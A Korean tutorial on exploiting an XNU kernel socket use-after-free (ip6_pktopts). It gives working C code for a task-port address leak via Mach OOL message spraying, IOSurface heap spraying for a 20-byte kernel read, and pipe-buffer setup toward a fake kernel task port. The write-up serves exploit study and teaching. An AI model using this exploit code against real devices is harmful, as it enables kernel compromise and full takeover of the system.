먼저 Ports 배열을 생성하여 사용자 모드 Task Port를 저장한 다음, OOL 메시지를 구성한다. 나머지는 중요하지 않고, 핵심은 msg->ool_ports.addressmsg->ool_ports.count이다. 이 두 항목만 제대로 구성하면 된다. 이후 msg_send() 함수를 호출하여 메시지를 전송하면, 이때 메모리 할당이 발생하고, 사용자 모드 Task Port가 커널 모드 Task Port의 주소로 변환되어 우리가 제어 가능한 메모리 공간에 기록된다.

mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}

dangling되는 구조체 ip6_pktopts의 크기는 192이다.

이 구조체를 포함하는 헤더 파일을 찾지 못해, 어쩔 수 없이 전체 구조체를 복사해서 사용했다.

그 후 sizeof() 함수를 호출하여 크기를 계산했다.

여기서는 구조체 멤버 분포에 따라 ip6po_minmtuip6po_prefer_tempaddr를 선택해 조합했으며,

동시에 커널 포인터 특성을 추가하여 판별할 수 있다.

task port를 leak 시키는 코드

https://github.com/wh1te4ever/xnu_1day_practice/commit/35a968930c82a6f9c82948841bcc053b2ff906c9

#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <mach/mach.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#include "helper.h"
#include "iosurface.h"
#include "exp.h"

/* int; prefer temporary addresses as the source address. */
#define IPV6_PREFER_TEMPADDR    63

#define IPV6_USE_MIN_MTU        42 /* bool; send packets at the minimum MTU */

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
};

int get_socket() {
    int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        printf("[-] Can't get socket, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    // allow setsockopt() after disconnect()
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    return sock;
}

// utilities to manipulate sockets
int set_minmtu(int sock, int *minmtu) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu));
}

// free the pktopts struct of the socket to get ready for UAF
int free_socket_options(int sock) {
    return disconnectx(sock, 0, 0);
}

// return a socket ready for UAF
int get_socket_with_dangling_options() {
    int socket = get_socket();
    
    int minmtu = -1;
    set_minmtu(socket, &minmtu);
    
    free_socket_options(socket);
    
    return socket;
}

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int get_prefertempaddr(int sock, int *prefertempaddr) {
    socklen_t size = sizeof(*prefertempaddr);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size);
}

// first primitive: leak the kernel address of a mach port
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    // here we use the uaf as an info leak
    int sock = get_socket_with_dangling_options();
    
    for (int i = 0; i < 0x10000; i++) {
        // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        
        int mtu;
        int pref;
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        
        // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)
        
        /*  from a hex dump:
         
         (lldb) p/x HexDump(options, 192)
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
         ...
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
                    |-----------||-----------|
                     minmtu here prefertempaddr here
         */
        
        // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up
        
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    
    // close that socket.
    close(sock);
    return 0;
}

int main(int argc, char *argv[], char *envp[]) {
    // IOSurface_init();

    uint64_t self_port_addr = find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
    INFO("our task port: 0x%llx\n", self_port_addr);

    return 0;
}

2. OSUnserializeBinary 포맷을 활용한 IOSurface 풍수

방금 OOL Message 기반 Port Address Spraying을 수행했던것처럼 이번에는 IOSurface 기반 Heap Spraying 방법을 소개해보려고 한다.

이 방법을 통해 임의의 데이터를 커널의 지정된 위치에 스프레이시킬 수 있다.

IOSurface에 대해 간략히 설명하자면,

커널에서 프로세스 간에 그래픽 버퍼를 공유하는 데 사용되며 커널 메모리 영역에 할당되는 객체이다. 대량의 그래픽 데이터를 효율적으로 커널과 공유해야 하는 그래픽 처리 작업에서 주로 사용된다.

따라서 커널 메모리 영역에 할당되는 객체이기 때문에 커널 힙 스프레이가 가능하다.

dangling 되는 in6p_outputopts 필드의 ip6_pktopts 구조체를 다시 한번 살펴보자.

struct ip6_pktopts
{
  mbuf *ip6po_m;
  int ip6po_hlim;
  **in6_pktinfo *ip6po_pktinfo;  //우리가 읽고자 하는 주소로 사용**
  ip6po_nhinfo ip6po_nhinfo;
  ip6_hbh *ip6po_hbh;
  ip6_dest *ip6po_dest1;
  ip6po_rhinfo ip6po_rhinfo;
  ip6_dest *ip6po_dest2;
  int ip6po_tclass;
  **int ip6po_minmtu;       // 플래그 비트로 사용**
  int ip6po_prefer_tempaddr;
  int ip6po_flags;
};

원리는 먼저 in6p_outputopts 구조체를 위조하여, dangling ptr가 사용됐는지 확인하기 위해 minmtu 멤버를 플래그 비트로 사용한 뒤, 추가로 구조체 포인터인 in6_pktinfo에 우리가 읽고자 하는 주소를 넣는 아이디어이다.

아래는 아이디어에 대한 코드이다.

// create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;

그런 다음, Socket UAF를 이용해 대량 해제된 in6p_outputopts 영역을 만들고, 앞서 위조한 데이터를 Socket UAF 영역에 스프레이시킨다.

이후 getsockopt 함수를 통해 minmtu를 읽어 Spraying이 성공했는지 확인하고, 성공 시 getsockopt를 통해 ip6po_pktinfo 구조체를 읽어온다.

image.png

ip6po_pktinfo의 크기는 0x14=20바이트이므로, 이 방식을 통해 한 번에 대상 주소의 20바이트 데이터를 읽을 수 있다.

Sock Port 익스플로잇에서 제공하는 IOSurface 관련 함수들을 살펴보기

spray_IOSurface 함수는 스프레이할 데이터와 크기만 제공해주면 된다… 이 함수는 IOSurface_spray_with_gc의 래퍼로써, 생성되는 OSArray에 대한 기본 설정을 제공한다.

array_count = 32는 32개의 스프레이 배열을 생성하여 총 32회 힙 스프레이를 수행함을 뜻하고, array_length = 256은 각 배열에 256개의 스프레이 데이터를 포함함을 의미한다.

bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
			data, data_size, callback);
}

int spray_IOSurface(void *data, size_t size) {
    return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}

OSUnserializeBinary XML Spraying 원리

OSUnserializeBinary XML Spraying 원리에 대해 이해하기 위해 총 7개의 핵심 단계로 이뤄 설명해놓았다.

static bool
IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
    // 1. IOSurfaceRootClient 객체를 생성하여 커널과 통신
    // Make sure our IOSurface is initialized.
    bool ok = IOSurface_init();
    if (!ok) {
    	return 0;
    }
    
    // 2. 현재 사용 방식에서는 extra_count = 0이므로 extra_count는 무시할 수 있음
    // How big will our OSUnserializeBinary dictionary be?
    uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0);
    
    // 3. Spraying Data에 필요한 XML 노드 수 계산
    size_t xml_units_per_data = xml_units_for_data_size(data_size);
    
    // 4. 여기서 여러 개의 1은 Spraying Data 외에 고정된 XML 노드를 의미하며, 구체적인 구성은 이후에 확인할 수 있음
    size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;
    
    // 5. 커널에 전달할 args를 구성하며, 여기에는 생성할 XML과 기타 설명 내용이 포함됨
    // Allocate the args struct.
    struct IOSurfaceValueArgs *args;
    size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
    args = malloc(args_size);
    assert(args != 0);
    // Build the IOSurfaceValueArgs.
    args->surface_id = IOSurface_id;
    // Create the serialized OSArray. We'll remember the locations we need to fill in with our
    
    // 6. 각 XML은 Spraying Data를 담기 위한 OSArray를 포함함
    // xml_data 배열은 current_array_length(256)개의 xml_data를 담고
    // 각 xml_data는 여러 개의 XML 노드로 이루어진 단일 Spraying Data를 포함함
    // data as well as the slot we need to set our key.
    uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
    assert(xml_data != NULL);
    uint32_t *key;
    
    // 7. XML 구성
    size_t xml_size = serialize_IOSurface_data_array(args->xml,
    		current_array_length, data_size, xml_data, &key);
    assert(xml_size == xml_units * sizeof(args->xml[0]));
    // ...

7단계 “XML 구성”에서는 256개의 OSString을 담은 OSArray를 구성한다.

여기서 OSString은 시리얼라이즈 및 스프레이되는 데이터이며, 이를 IOSurfaceRootClient를 통해 XML 형태로 커널 버퍼에 전송하면, 커널은 이 OSString들에 대한 힙을 할당한다.

OSString이 바로 우리가 스프레이하려는 데이터이기 때문에 이러한 과정을 통해 임의의 데이터를 커널 힙에 스프레이할 수 있는 것이다.

IOSurface 전송용 XML 객체의 각 노드는 uint32 하나로 표현할 수 있으며, 이를 XML 유닛(XML Unit)이라고 부르기도 한다.

struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        **uint32_t xml[0];    //** XML 객체의 각 노드
        char string[0];
    };
};

IOSurface 호출 시 입력 길이를 명시해야 하므로, 각 스프레이 라운드에서 사용할 XML 크기를 정확히 계산하는 것이 매우 중요하다.

3단계 “Spraying Data에 필요한 XML 노드 수 계산”에 대해 살펴보면

시리얼라이즈된 데이터는 커널에서 OSString으로 표현되므로, 끝에 들어가는 \0를 고려해야 한다. 이때 데이터의 마지막 한 바이트를 \0로 사용하므로, 실제 데이터 크기는 size - 1이 된다.

이후 공식은 (actual_size + n - 1) / n으로 나타내는데, 이는 전형적인 올림(Ceiling) 함수로, actual_size를 4(XML Unit 크기)로 나눈 뒤 올림한 값을 의미한다.

최종적으로 각 Spraying Data가 차지하는 XML Unit 수를 계산하여 xml_units_per_data에 저장한다.

따라서 다음 코드가 사용된다.

/*
 * xml_units_for_data_size
 *
 * Description:
 * 	Return the number of XML units needed to store the given size of data in an OSString.
 */
static size_t
xml_units_for_data_size(size_t data_size) {
	return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t);
}

다음으로, 4단계; “여기서 여러 개의 1은 Spraying Data 외에 고정된 XML 노드를 의미하며, 구체적인 구성은 이후에 확인할 수 있음”을 살펴보자.

xml_units_per_data를 기반으로 전체 XML Unit 수를 계산한다.

(1 + xml_units_per_data) * current_array_length 부분은 OSString Header + Data 구조를 current_array_length번 반복한 뒤의 Unit 수를 의미하며, 앞뒤의 3개의 **1**은 추가적인 설명용 XML Unit을 나타낸다.

size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;

6단계에서는 XML에서 채워야 할 current_array_length개의 OSString Child Unit Header를 가리키는 XML Unit 포인터 배열을 준비한다.

이 배열은 XML 구성 과정에서 사용되며, current_array_length개의 OSString Header Unit 주소를 저장해 두었다가 이후 Spraying Data를 XML에 복사할 때 참조한다.

uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));

가장 중요한 핵심은 7단계에서 serialize_IOSurface_data_array를 호출하는 부분이다. 여기서 args->xml은 XML Unit 포인터로, 하나의 XML Header Unit을 가리킨다.

#if 0
struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        uint32_t xml[0];
        char string[0];
    };
};
#endif
struct IOSurfaceValueArgs *args;
size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]);
args = malloc(args_size);
// 7. XML 구성
uint32_t *key;
uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));
size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key);

사전 준비가 완료되었으므로, 이후 계산은 복잡하지 않다. 다음 코드는 XML Linked-List를 순차적으로 연결하는 과정이다.

static size_t
serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) {
    uint32_t *xml = xml0;
    *xml++ = kOSSerializeBinarySignature;
    *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    *xml++ = kOSSerializeArray | array_length;
    for (size_t i = 0; i < array_length; i++) {
    	uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
    	*xml++ = kOSSerializeData | (data_size - 1) | flags;
    	xml_data[i] = xml;
    	xml += xml_units_for_data_size(data_size);
    }
    *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
    *key = xml++; // This will be filled in on each array loop.
    *xml++ = 0;	// Null-terminate the symbol.
    return (xml - xml0) * sizeof(*xml);
}

xml0는 현재 XML Header Units이며, xml 변수를 커서로 정의해 XML을 단계별로 구성된다. 각 XML Unit은 uint32 하나로 표현되며,

헤더의 첫 3개 문장을 예로 들면:

*xml++ = kOSSerializeBinarySignature;
*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;
*xml++ = kOSSerializeArray | array_length;

이는 다음과 같은 XML 구조를 선언한 것과 같다.

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>

이후 루프를 통해 array_length개의 OSString을 OSArray에 채우고, 이들 OSString의 XML Unit 주소를 xml_data 포인터 배열에 저장한다.

for (size_t i = 0; i < array_length; i++) {
	uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);
	*xml++ = kOSSerializeData | (data_size - 1) | flags;
	xml_data[i] = xml;
	xml += xml_units_for_data_size(data_size);
}

이를 통해 다음과 같은 XML이 구성된다.

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[1] -->
    </kOSSerializeData>
    <!-- ... -->
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>

마지막으로 채워지는 것은 꼬리 부분의 XML Units이다.

*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;
*key = xml++; // This will be filled in on each array loop.
*xml++ = 0; // Null-terminate the symbol.

여기에는 3개의 Units가 포함된다.

<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0

이것은 앞서 언급한 XML Units 계산에서 뒤에 붙는 +3을 뒷받침하며, 따라서 최종적으로 얻어지는 XML은 다음과 같다.

<kOSSerializeBinarySignature />
<kOSSerializeArray>2</kOSSerializeArray>
<kOSSerializeArray length=${array_length}>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[0] -->
    </kOSSerializeData>
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[1] -->
    </kOSSerializeData>
    <!-- ... -->
    <kOSSerializeData length=${data_size - 1}>
        <!-- xml_data[array_length - 1] -->
    </kOSSerializeData>
</kOSSerializeArray>
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol>
<key>${key}</key>
0

이 시점에서 XML 구조는 이미 완전히 구성되었고, xml_data 자리 표시자에 Spraying Data를 채우고 key에 식별자를 채워 넣기만 하면 조립이 완료된다.

데이터 조립

다음 코드는 데이터 채우기와 커널로의 데이터 전송을 완료하며, 위의 논의를 바탕으로 이해하기 쉽다.

코드에서 표시된 3개의 핵심 단계를 통해 조립된 XML을 커널 프레임버퍼로 전송하면, 커널이 그 안의 OSString에 메모리를 할당하기 때문에 이 과정에서 Heap Spraying이 완료된다.

// Keep track of when we need to do GC.
static uint32_t total_arrays = 0;
size_t sprayed = 0;
size_t next_gc_step = 0;
// Loop through the arrays.
for (uint32_t array_id = 0; array_id < array_count; array_id++) {
    // If we've crossed the GC sleep boundary, sleep for a bit and schedule the
    // next one.
    // Now build the array and its elements.
    // 1. 고유 식별자를 생성하여 key에 채우기
    *key = base255_encode(total_arrays + array_id);
    for (uint32_t data_id = 0; data_id < current_array_length; data_id++) {
        // Copy in the data to the appropriate slot.
        // 2. 데이터를 OSString에 채우기
        memcpy(xml_data[data_id], data, data_size - 1);
    }
    
    // 3.커널로 데이터 전송하기
    // Finally set the array in the surface.
    ok = IOSurface_set_value(args, args_size);
    if (!ok) {
    	free(args);
    	free(xml_data);
    	return false;
    }
    if (ok) {
        sprayed += data_size * current_array_length;
    }
}

커널로 데이터 전송할 때의 데이터는 다음과 같다.

한눈에 살펴보기 위해 IOSurface_set_value 호출직전에 데이터를 덤프시키는 코드를 작성하였고,

void dump_xml_data(void *data, size_t length) {
    static int count = 0;
    char filename[32];
    snprintf(filename, sizeof(filename), "xml_data_dump_%d.bin", ++count);

    FILE *fp = fopen(filename, "wb");
    if (!fp) {
        perror("fopen");
        return;
    }
    fwrite(data, 1, length, fp);
    fclose(fp);
}

//XXX: Dump
dump_xml_data(args, args_size);

// Finally set the array in the surface.
ok = IOSurface_set_value(args, args_size);

그 결과 아래와 같다. 아래는 32개의 스프레이를 배열 생성하고나서 첫번째의 스프레이를 전송시킬 떄 데이터를 아래와 같이 나타낼 수 있다.

255개의 OSArray가 들어가고, OSArray 안에는 위조시킬 in6p_outputopts 192바이트가 들어가있다.

맨 하단에 base255_encode 함수가 수행되는데, 몇번째냐에 따라 매개변수가 들어가는 값이 0, 1, … 31이 들어가면서 다르게 쓰인다.

image.png

IOSurface Heap Spraying을 사용하여 kread 구현

여러 개의 dangling in6p_outputopts를 구성한 뒤, 위조한 in6p_outputopts로 스프레이를 수행하여 위조 데이터 구조의 pktinfo를 읽고자 하는 주소로 지정하고, minmtu를 식별자로 사용해 IOSurface 스프레이를 진행한다.

이후 minmtu를 기반으로 스프레이에 성공한 dangling in6p_outputopts 영역을 선택하고, getsockopt을 사용해 pktinfo 구조체의 내용을 가져온다.

해당 구조체의 크기는 20바이트이므로, 이를 통해 지정된 커널 주소의 20바이트 데이터를 읽어낼 수 있다.

// second primitive: read 20 bytes from addr
void* read_20_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    
    return buf;
}

3. fake port를 통한 커널 읽기/쓰기 구현

우선 전체적으로 설명을 요약하자면 다음과 같은 흐름을 가진다.

  1. 프로세스 자신의 self_port_address를 누출시켜 다음 정보를 얻는다.
  • self_task_address
  • ipc_space_kernel
  1. pipe 함수를 사용해 프로세스 간 통신용 파이프 핸들 쌍(fds)을 할당한다. 이때 self_task_address에 포함된 proc 구조체 정보를 통해 커널 내에 할당된 파이프 버퍼의 실제 주소(pipe_buffer_address)를 조회할 수 있다.
    1. pipe는 프로세스 간 읽기/쓰기가 가능한 파일 디스크립터 쌍을 생성하며, 읽기/쓰기 동작 시 커널에 대응하는 버퍼를 할당한다.
  2. 앞서 다룬 IOSurface 스프레이 기법에 Socket UAF를 결합하여, pipe_buffer_address에 해당하는 버퍼를 해제시킨다. 이를 통해 이미 해제된 파이프 버퍼 영역을 확보할 수 있다.
  3. send 권한을 가진 Mach 포트를 하나 생성한 뒤, OOL(Out-of-Line) 메시지 스프레이를 이용해 이 포트들을 해제된 파이프 버퍼에 주입한다. 커널은 이 버퍼를 유효한 포트 배열로 인식한다.
  4. 이제 fake 포트와 fake task를 위조하여, 해당 fake 포트의 주소(fake_port_address)를 파이프 버퍼의 앞 8바이트로 덮어쓴다. 이 과정을 통해 우리는 send 권한을 가진 컨트롤 가능한 IPC 포트와 task를 손에 넣게 된다.
  5. 이전에 보냈던 OOL 메시지를 수신하면, 스프레이에 사용한 포트 배열을 다시 얻게 되는데, 이때 ports[0]이 우리의 fake 포트로 대체되어 완전한 제어권을 획득할 수 있다.
  6. 이 fake 포트를 조작하여 보다 안정적인 커널 읽기 프리미티브를 확보한다. 이후 이를 이용해 커널 프로세스를 열거한 뒤, 커널의 vm_map을 얻는다.
  7. 얻은 커널 vm_map을 fake 포트에 할당하면, 해당 fake 포트는 완전한 커널 task 포트가 되어 tfp0 권한을 얻을 수 있게 된다.

여기서 사용된 익스플로잇 코드는 SMAP 우회도 고려해서 만들어져있다.

커널 공간에서 유저 공간에 대한 읽기/쓰기 권한도 제한하는 보호기법을 Supervisor Mode Access Prevention. 줄여서 SMAP 이라고 한다.

pipe 함수 호출을 통해 우회한다는데, 한번 살펴보자…

파이프는 읽고 쓸 때, 프로세스 간 메모리 공유를 구현하기 위해 버퍼가 커널 공간에 할당된다.

사용자 모드에서는 fd 핸들만 얻고, 해당 fd에 대응하는 버퍼 주소는 task 포트에 기록되어 있다. 이미 유출된 task 포트와 앞서 설명한 커널 읽기 프리미티브를 이용하면 커널 내 버퍼 주소를 획득할 수 있는데, 이렇게 해서 간접적으로 커널 내 제어 가능한 영역을 얻는다.

먼저, 커널에 0x10000 크기의 버퍼를 생성한다. 이때 알아둬야할 점은 fd의 읽기/쓰기 방식인데, write를 수행할 때마다 커서가 뒤로 이동하고, read를 수행할 때마다 커서가 앞으로 이동한다.

여기서는 먼저 한 번의 균형 있는 읽기/쓰기를 통해 커널에 버퍼를 생성시킨 뒤, 이후에 첫 번째 포트(우리의 fake port)를 쉽게 읽어올 수 있도록 8바이트를 쓴다.

주요 코드는 다음과 같다.

// pipe
// bsd/kern/sys_pipe.c:393
int *
create_pipes(void) {
    // Allocate our initial array.
    size_t capacity = 1;
    int *pipefds = calloc(2 * capacity, sizeof(int));
    // Create as many pipes as we can.
    size_t count = 0;

    // First create our pipe fds.
    int fds[2] = { -1, -1 };
    int error = pipe(fds);
    
    // Unfortunately pipe() seems to return success with invalid fds once we've
    // exhausted the file limit. Check for this.
    if (error != 0 || fds[0] < 0 || fds[1] < 0) {
        pipe_close(fds);
        exit(1);
    }
    // Mark the write-end as nonblocking.
    //set_nonblock(fds[1]);
    // Store the fds.
    pipefds[0] = fds[0];
    pipefds[1] = fds[1];

    // assert(count == capacity && "can't alloc enough pipe fds");
    // Truncate the array to the smaller size.
    // int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
    // assert(new_pipefds != NULL);
    // Return the count and the array.
    // *pipe_count = count;
    return pipefds;
}

...

// here we'll create a pair of pipes (4 file descriptors in total)
// first pipe, used to overwrite a port pointer in a mach message
size_t pipebuf_size = 0x10000;
pipefds = create_pipes();

// make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
pipebuf = (uint8_t *)malloc(pipebuf_size);
memset(pipebuf, 0, pipebuf_size); 

write(pipefds[1], pipebuf, pipebuf_size); // do write() to allocate the buffer on the kernel
read(pipefds[0], pipebuf, pipebuf_size); // do read() to reset buffer position
write(pipefds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)

task 포트와 fd 핸들을 이용하면 pipe 버퍼의 주소를 쉽게 얻을 수 있다.

xnu 소스코드를 보면서 ipc_port 구조체부터 차례대로 접근되는 방식을 이해하고 각 구조체의 오프셋 값은 KDK 패키지에 내장된 커널을 lldb에 붙여 확인하면 된다.

커널 영역에 있는 Pipe 버퍼 주소를 획득하는 방법은 다음과 같다.


    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);

#define rk64_check(addr) ({ uint64_t r; r = rk64_via_uaf(addr); if (!r) { usleep(100); r = rk64_via_uaf(addr); if (!r) { printf("[-] failed to read from '"#addr"'\n");}}; r;})

    uint64_t task = rk64_check(self_port_addr + 0x68);  //p/x offsetof(struct ipc_port, kdata.kobject)
